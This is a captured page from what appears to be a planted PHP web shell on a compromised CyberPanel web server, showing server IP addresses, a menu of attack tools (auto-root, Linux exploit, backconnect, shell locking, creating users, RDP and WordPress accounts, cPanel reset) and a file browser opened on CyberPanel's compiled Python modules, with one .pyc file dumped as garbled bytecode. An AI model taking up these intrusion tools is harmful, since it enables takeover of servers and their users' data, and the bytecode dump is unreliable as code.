Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
CyberCPLogFileWriter.cpython-3...
3.75
KB
-rw-r--r--
DockerSites.cpython-310.pyc
35.05
KB
-rw-r--r--
__init__.cpython-310.pyc
132
B
-rw-r--r--
acl.cpython-310.pyc
32.58
KB
-rw-r--r--
alias.cpython-310.pyc
1022
B
-rw-r--r--
applicationInstaller.cpython-3...
72.25
KB
-rw-r--r--
backupSchedule.cpython-310.pyc
10.72
KB
-rw-r--r--
backupUtilities.cpython-310.py...
47.59
KB
-rw-r--r--
childDomain.cpython-310.pyc
1.3
KB
-rw-r--r--
cronUtil.cpython-310.pyc
4.01
KB
-rw-r--r--
customACME.cpython-310.pyc
26.61
KB
-rw-r--r--
dnsUtilities.cpython-310.pyc
12.72
KB
-rw-r--r--
getSystemInformation.cpython-3...
4.3
KB
-rw-r--r--
hashPassword.cpython-310.pyc
853
B
-rw-r--r--
httpProc.cpython-310.pyc
3.27
KB
-rw-r--r--
installUtilities.cpython-310.p...
11.58
KB
-rw-r--r--
mailUtilities.cpython-310.pyc
59.57
KB
-rw-r--r--
mysqlUtilities.cpython-310.pyc
24.48
KB
-rw-r--r--
processUtilities.cpython-310.p...
14.36
KB
-rw-r--r--
randomPassword.cpython-310.pyc
565
B
-rw-r--r--
serverLogs.cpython-310.pyc
1.1
KB
-rw-r--r--
sslUtilities.cpython-310.pyc
24.18
KB
-rw-r--r--
sslv2.cpython-310.pyc
12.52
KB
-rw-r--r--
tuning.cpython-310.pyc
8.71
KB
-rw-r--r--
vhost.cpython-310.pyc
22.97
KB
-rw-r--r--
vhostConfs.cpython-310.pyc
14.2
KB
-rw-r--r--
virtualHostUtilities.cpython-3...
42.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailUtilities.cpython-310.pyc
o ���h(� � @ sH d dl Z d dlZd dlZd dlZd dlmZ ej�d� d dlZej � dd� ze�� W n Y d dlZd dl Z d dlmZ d dlZd dlZd dlZd dlmZ d dlZd dlZd dlZd dlZd dlZzd dlmZmZ d d lmZm Z d d l!m"Z"m#Z# W n Y G dd� d�Z$G d d� dej%�Z&dd� Z'e(dkr�e'� dS dS )� N)�HttpResponse�/usr/local/CyberCP�DJANGO_SETTINGS_MODULE�CyberCP.settings)�CyberCPLogFileWriter)�ProcessUtilities)�Domains�EUsers)�DomainLimits�EmailLimits)�Websites�ChildDomainsc @ s� e Zd ZdZdZdZdZdZdZdZ e dd � �Ze d d� �Ze dd � �Z e dIdd��Ze dd� �Ze dd� �Ze dIdd��Ze dd� �Ze dd� �Ze dd� �Ze dd� �Ze dd � �Ze d!d"� �Ze d#d$� �Ze d%d&� �Ze d'd(� �Ze d)d*� �Ze d+d,� �Ze d-d.� �Ze d/d0� �Ze d1d2� �Ze d3d4� �Z e d5d6� �Z!e d7d8� �Z"e d9d:� �Z#e d;d<� �Z$e d=d>� �Z%e d?d@� �Z&e dAdB� �Z'e dCdD� �Z(e dEdF� �Z)e dGdH� �Z*dS )J� mailUtilitiesz#/home/cyberpanel/openDKIMInstallLogz+/home/cyberpanel/spamassassinInstallLogPathz%/home/cyberpanel/RspamdInstallLogPathz'/home/cyberpanel/RspamdUnInstallLogPathz/home/cyberpanelz*/home/cyberpanel/mailScannerInstallLogPathz/var/log/rspamd/rspamd.logc C s^ zt �d�}|�| ||� td� W d S ty. } ztj�t|�� W Y d }~d S d }~ww )N� localhostzSuccessfully sent email) �smtplib�SMTP�sendmail�print� BaseException�loggingr �writeToFile�str)�sender� receivers�message�smtpObj�msg� r �,/usr/local/CyberCP/plogical/mailUtilities.py� SendEmail. s ��zmailUtilities.SendEmailc C s� d}t j�d�s t �d� d| d }d| d }t j�|�s%t�||� d| }t|d�}|�|� |�� d}t � |� d S )Nz6/usr/local/CyberCP/install/rainloop/cyberpanel.net.inizB/usr/local/lscp/cyberpanel/rainloop/data/_data_/_default_/domains/z.iniz.jsonam { "name": "%s", "IMAP": { "host": "localhost", "port": 993, "type": 1, "timeout": 300, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "use_expunge_all_on_delete": false, "fast_simple_search": true, "force_select": false, "message_all_headers": false, "message_list_limit": 10000, "search_filter": "", "disabled_capabilities": [] }, "SMTP": { "host": "localhost", "port": 587, "type": 2, "timeout": 60, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "useAuth": true, "setSender": false, "usePhpMail": false, "authPlainLine": false }, "Sieve": { "host": "localhost", "port": 4190, "type": 0, "timeout": 10, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "enabled": false }, "whiteList": "" } �wz>chown -R lscpd:lscpd /usr/local/lscp/cyberpanel/rainloop/data/)�os�path�exists�makedirs�shutil�copy�open�write�closer �normalExecutioner)�domainr"